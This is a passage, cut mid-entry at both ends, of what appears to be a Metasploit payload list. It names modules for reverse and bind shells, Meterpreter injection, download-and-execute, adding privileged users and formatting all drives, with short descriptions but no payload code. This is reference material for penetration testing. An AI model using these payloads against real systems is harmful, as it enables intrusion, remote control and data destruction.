Meterpreter / Mettle server payload (stageless)\nlinux/ppc64le/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc64le/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/exec Execute an arbitrary command or just a /bin/sh shell\nlinux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/pingback_bind_tcp Accept a connection from attacker and report UUID (Linux x64)\nlinux/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Linux x64)\nlinux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nlinux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x64/shell_bind_ipv6_tcp Listen for an IPv6 connection and spawn a command shell\nlinux/x64/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.\nlinux/x64/shell_find_port Spawn a shell on an established connection\nlinux/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6\nlinux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/x86/adduser Create a new user with UID 0\nlinux/x86/chmod Runs chmod on specified file with specified mode\nlinux/x86/exec Execute an arbitrary command or just a /bin/sh shell\nlinux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)\nlinux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)\nlinux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)\nlinux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)\nlinux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection\nlinux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6\nlinux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nlinux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nlinux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor\nlinux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)\nlinux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)\nlinux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection\nlinux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)\nlinux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)\nlinux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection\nlinux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6\nlinux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell\nlinux/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.\nlinux/x86/shell_find_port Spawn a shell on an established connection\nlinux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nlinux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6\nlinux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nmainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\nmulti/meterpreter/reverse_http Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTP\nmulti/meterpreter/reverse_https Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTPS\nnetware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the attacker\nnodejs/shell_bind_tcp Creates an interactive shell via nodejs\nnodejs/shell_reverse_tcp Creates an interactive shell via nodejs\nnodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL\nosx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/armle/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.\nosx/ppc/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/ppc/shell/find_tag Spawn a command shell (staged). Use an established connection\nosx/ppc/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x64/dupandexecve/bind_tcp dup2 socket in edi, then execve. Listen, read length, read buffer, execute\nosx/x64/dupandexecve/reverse_tcp dup2 socket in edi, then execve. Connect, read length, read buffer, execute\nosx/x64/dupandexecve/reverse_tcp_uuid dup2 socket in edi, then execve. Connect back to the attacker with UUID Support (OSX x64)\nosx/x64/exec Execute an arbitrary command\nosx/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen, read length, read buffer, execute\nosx/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect, read length, read buffer, execute\nosx/x64/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker with UUID Support (OSX x64)\nosx/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/say Say an arbitrary string outloud using Mac OS X text2speech\nosx/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port\nosx/x64/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nosx/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x86/bundleinject/bind_tcp Inject a custom Mach-O bundle into the exploited process. Listen, read length, read buffer, execute\nosx/x86/bundleinject/reverse_tcp Inject a custom Mach-O bundle into the exploited process. Connect, read length, read buffer, execute\nosx/x86/exec Execute an arbitrary command\nosx/x86/isight/bind_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Listen, read length, read buffer, execute\nosx/x86/isight/reverse_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Connect, read length, read buffer, execute\nosx/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/x86/shell_find_port Spawn a shell on an established connection\nosx/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x86/vforkshell/bind_tcp Call vfork() if necessary and spawn a command shell (staged). Listen, read length, read buffer, execute\nosx/x86/vforkshell/reverse_tcp Call vfork() if necessary and spawn a command shell (staged). Connect, read length, read buffer, execute\nosx/x86/vforkshell_bind_tcp Listen for a connection, vfork if necessary, and spawn a command shell\nosx/x86/vforkshell_reverse_tcp Connect back to attacker, vfork if necessary, and spawn a command shell\nphp/bind_perl Listen for a connection and spawn a command shell via perl (persistent)\nphp/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) over IPv6\nphp/bind_php Listen for a connection and spawn a command shell via php\nphp/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv6)\nphp/download_exec Download an EXE from an HTTP URL and execute it\nphp/exec Execute a single system command\nphp/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection\nphp/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over IPv6\nphp/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support\nphp/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with UUID Support\nphp/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions\nphp/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions\nphp/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)\nphp/reverse_perl Creates an interactive shell via perl\nphp/reverse_php Reverse PHP connect back shell with checks for disabled functions\nphp/shell_findsock Spawn a shell on the established connection to the webserver. Unfortunately, this payload can leave conspicuous evil-looking entries in the apache error logs, so it is probably agood idea to use a bind or reverse shell unless firewalls prevent them from working. The issue this payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on other Debian-based distributions. Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.\npython/meterpreter/bind_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection\npython/meterpreter/bind_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support\npython/meterpreter/reverse_http Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP\npython/meterpreter/reverse_https Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL\npython/meterpreter/reverse_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker\npython/meterpreter/reverse_tcp_ssl Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL\npython/meterpreter/reverse_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support\npython/meterpreter_bind_tcp Connect to the victim and spawn a Meterpreter shell\npython/meterpreter_reverse_http Connect back to the attacker and spawn a Meterpreter shell\npython/meterpreter_reverse_https Connect back to the attacker and spawn a Meterpreter shell\npython/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell\npython/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then terminates\npython/pingback_reverse_tcp Connects back to the attacker, sends a UUID, then terminates\npython/shell_bind_tcp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.\npython/shell_reverse_tcp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.\npython/shell_reverse_tcp_ssl Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.\npython/shell_reverse_udp Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.\nr/shell_bind_tcp Continually listen for a connection and spawn a command shell via R\nr/shell_reverse_tcp Connect back and create a command shell via R\nruby/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then terminates\nruby/pingback_reverse_tcp Connect back to the attacker, sends a UUID, then terminates\nruby/shell_bind_tcp Continually listen for a connection and spawn a command shell via Ruby\nruby/shell_bind_tcp_ipv6 Continually listen for a connection and spawn a command shell via Ruby\nruby/shell_reverse_tcp Connect back and create a command shell via Ruby\nruby/shell_reverse_tcp_ssl Connect back and create a command shell via Ruby, uses SSL\nsolaris/sparc/shell_bind_tcp Listen for a connection and spawn a command shell\nsolaris/sparc/shell_find_port Spawn a shell on an established connection\nsolaris/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nsolaris/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nsolaris/x86/shell_find_port Spawn a shell on an established connection\nsolaris/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\ntty/unix/interact Interacts with a TTY on an established socket connection\nwindows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)\nwindows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective loader. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method(you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)\nwindows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/dllinject/bind_named_pipe Inject a DLL via a reflective loader. Listen for a pipe connection (Windows x86)\nwindows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)\nwindows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection (Windows x86)\nwindows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection\nwindows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)\nwindows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established connection\nwindows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as ahop.\nwindows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)\nwindows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication over HTTP\nwindows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the attacker over IPv6\nwindows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the attacker (No NX)\nwindows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the attacker\nwindows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support\nwindows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)\nwindows/dns_txt_query_exec Performs a TXT query against a series of DNS record(s) and executes the returned payload\nwindows/download_exec Download an EXE from an HTTP(S)/FTP URL and execute it\nwindows/exec Execute an arbitrary command\nwindows/format_all_drives This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume.\nwindows/loadlibrary Load an arbitrary library path\nwindows/messagebox Spawns a dialog via MessageBox using a customizable title, text & icon\nwindows/meterpreter/bind_hidden_ipknock_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. Thesocket will appear as "closed," thus helping to hide the shellcode\nwindows/meterpreter/bind_hidden_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/meterpreter/bind_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x86)\nwindows/meterpreter/bind_ipv6_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/meterpreter/bind_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x86)\nwindows/meterpreter/bind_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (No NX)\nwindows/meterpreter/bind_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x86)\nwindows/meterpreter/bind_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection\nwindows/meterpreter/bind_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x86)\nwindows/meterpreter/find_tag Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Use an established connection\nwindows/meterpreter/reverse_hop_http Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.\nwindows/meterpreter/reverse_http Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows wininet)\nwindows/meterpreter/reverse_http_proxy_pstore Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP\nwindows/meterpreter/reverse_https Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows wininet)\nwindows/meterpreter/reverse_https_proxy Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP using SSL with custom proxy support\nwindows/meterpreter/reverse_ipv6_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker over IPv6\nwindows/meterpreter/reverse_named_pipe Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot\nwindows/meterpreter/reverse_nonx_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (No NX)\nwindows/meterpreter/reverse_ord_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_allports Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/meterpreter/reverse_tcp_dns Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_rc4 Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_rc4_dns Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/meterpreter/reverse_tcp_uuid Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support\nwindows/meterpreter/reverse_winhttp Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows winhttp)\nwindows/meterpreter/reverse_winhttps Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows winhttp)\nwindows/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nwindows/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nwindows/patchupdllinject/bind_hidden_ipknock_tcp Inject a custom DLL into the exploited process. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/patchupdllinject/bind_hidden_tcp Inject a custom DLL into the exploited process. Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/patchupdllinject/bind_ipv6_tcp Inject a custom DLL into the exploited process. Listen for an IPv6 connection (Windows x86)\nwindows/patchupdllinject/bind_ipv6_tcp_uuid Inject a custom DLL into the exploited process. Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/patchupdllinject/bind_named_pipe Inject a custom DLL into the exploited process. Listen for a pipe connection (Windows x86)\nwindows/patchupdllinject/bind_nonx_tcp Inject a custom DLL into the exploited process. Listen for a connection (No NX)\nwindows/patchupdllinject/bind_tcp Inject a custom DLL into the exploited process. Listen for a connection (Windows x86)\nwindows/patchupdllinject/bind_tcp_rc4 Inject a custom DLL into the exploited process. Listen for a connection\nwindows/patchupdllinject/bind_tcp_uuid Inject a custom DLL into the exploited process. Listen for a connection with UUID Support (Windows x86)\nwindows/patchupdllinject/find_tag Inject a custom DLL into the exploited process. Use an established connection\nwindows/patchupdllinject/reverse_ipv6_tcp Inject a custom DLL into the exploited process. Connect back to the attacker over IPv6\nwindows/patchupdllinject/reverse_nonx_tcp Inject a custom DLL into the exploited process. Connect back to the attacker (No NX)\nwindows/patchupdllinject/reverse_ord_tcp Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_allports Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/patchupdllinject/reverse_tcp_dns Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_rc4 Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_rc4_dns Inject a custom DLL into the exploited process. Connect back to the attacker\nwindows/patchupdllinject/reverse_tcp_uuid Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support\nwindows/patchupmeterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/patchupmeterpreter/bind_hidden_tcp Inject the meterpreter server DLL (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/patchupmeterpreter/bind_ipv6_tcp Inject the meterpreter server DLL (staged). Listen for an IPv6 connection (Windows x86)\nwindows/patchupmeterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/patchupmeterpreter/bind_named_pipe Inject the meterpreter server DLL (staged). Listen for a pipe connection (Windows x86)\nwindows/patchupmeterpreter/bind_nonx_tcp Inject the meterpreter server DLL (staged). Listen for a connection (No NX)\nwindows/patchupmeterpreter/bind_tcp Inject the meterpreter server DLL (staged). Listen for a connection (Windows x86)\nwindows/patchupmeterpreter/bind_tcp_rc4 Inject the meterpreter server DLL (staged). Listen for a connection\nwindows/patchupmeterpreter/bind_tcp_uuid Inject the meterpreter server DLL (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/patchupmeterpreter/find_tag Inject the meterpreter server DLL (staged). Use an established connection\nwindows/patchupmeterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker over IPv6\nwindows/patchupmeterpreter/reverse_nonx_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker (No NX)\nwindows/patchupmeterpreter/reverse_ord_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_allports Inject the meterpreter server DLL (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/patchupmeterpreter/reverse_tcp_dns Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL (staged). Connect back to the attacker\nwindows/patchupmeterpreter/reverse_tcp_uuid Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support\nwindows/peinject/bind_hidden_ipknock_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection.First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you couldget your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/peinject/bind_hidden_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connectionfrom a hidden port and spawn a command shell to the allowed host.\nwindows/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for an IPv6 connection (Windows x86)\nwindows/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/peinject/bind_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a pipe connection (Windows x86)\nwindows/peinject/bind_nonx_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection(No NX)\nwindows/peinject/bind_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also 